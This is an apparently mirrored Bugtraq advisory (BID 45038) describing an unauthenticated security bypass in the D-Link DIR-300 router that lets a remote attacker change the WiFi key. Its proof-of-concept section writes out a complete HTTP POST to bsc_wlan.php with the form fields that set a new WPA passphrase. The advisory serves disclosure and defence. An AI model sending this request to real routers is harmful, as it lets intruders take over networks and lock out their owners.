D-Link DIR-300 WiFi Key Security Bypass Vulnerability

BID:45038

Info

D-Link DIR-300 WiFi Key Security Bypass Vulnerability

Bugtraq ID: 45038
Class: Design Error
CVE:
Remote: Yes
Local: No
Published: Nov 24 2010 12:00AM
Updated: Dec 03 2010 03:05PM
Credit: Gaurav Saha
Vulnerable: D-Link DIR-300 2.04
D-Link DIR-300 2.01B1
D-Link DIR-300 1.05
D-Link DIR-300 1.04
D-Link DIR-300 0
Not Vulnerable:

Discussion

D-Link DIR-300 WiFi Key Security Bypass Vulnerability

The D-Link DIR-300 wireless router is prone to a security-bypass vulnerability.

Remote attackers can exploit this issue to modify the WiFi key and possibly other configuration settings. Successful exploits will lead to other attacks.

Exploit / POC

D-Link DIR-300 WiFi Key Security Bypass Vulnerability

An attacker can exploit this issue by using readily available network utilities.

The following example HTTP POST request is available:

POST http://www.example.com/bsc_wlan.php HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml
Accept-Charset: ISO-8859-1,utf-8
Keep-Alive: 115
Proxy-Connection: keep-alive

Content-Type: application/x-www-form-urlencoded
Content-Length: 1000

ACTION_POST=final&f_enable=1&f_wps_enable=1&f_ssid=KingGeorgeV&f_channel=6&f_auto_channel=0&f_super_g=&f_xr=&f_txrate=0&f_wmm_enable=0&f_ap_hidden=0&f_authentication=7&f_cipher=2&f_wep_len=&f_wep_format=&f_wep_def_key=&f_wep=&f_wpa_psk_type=1&f_wpa_psk=
<<the_wifi_password_here>>&f_radius_ip1=&f_radius_port1=&f_radius_secret1=

Solution / Fix

D-Link DIR-300 WiFi Key Security Bypass Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

References

D-Link DIR-300 WiFi Key Security Bypass Vulnerability

References:

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report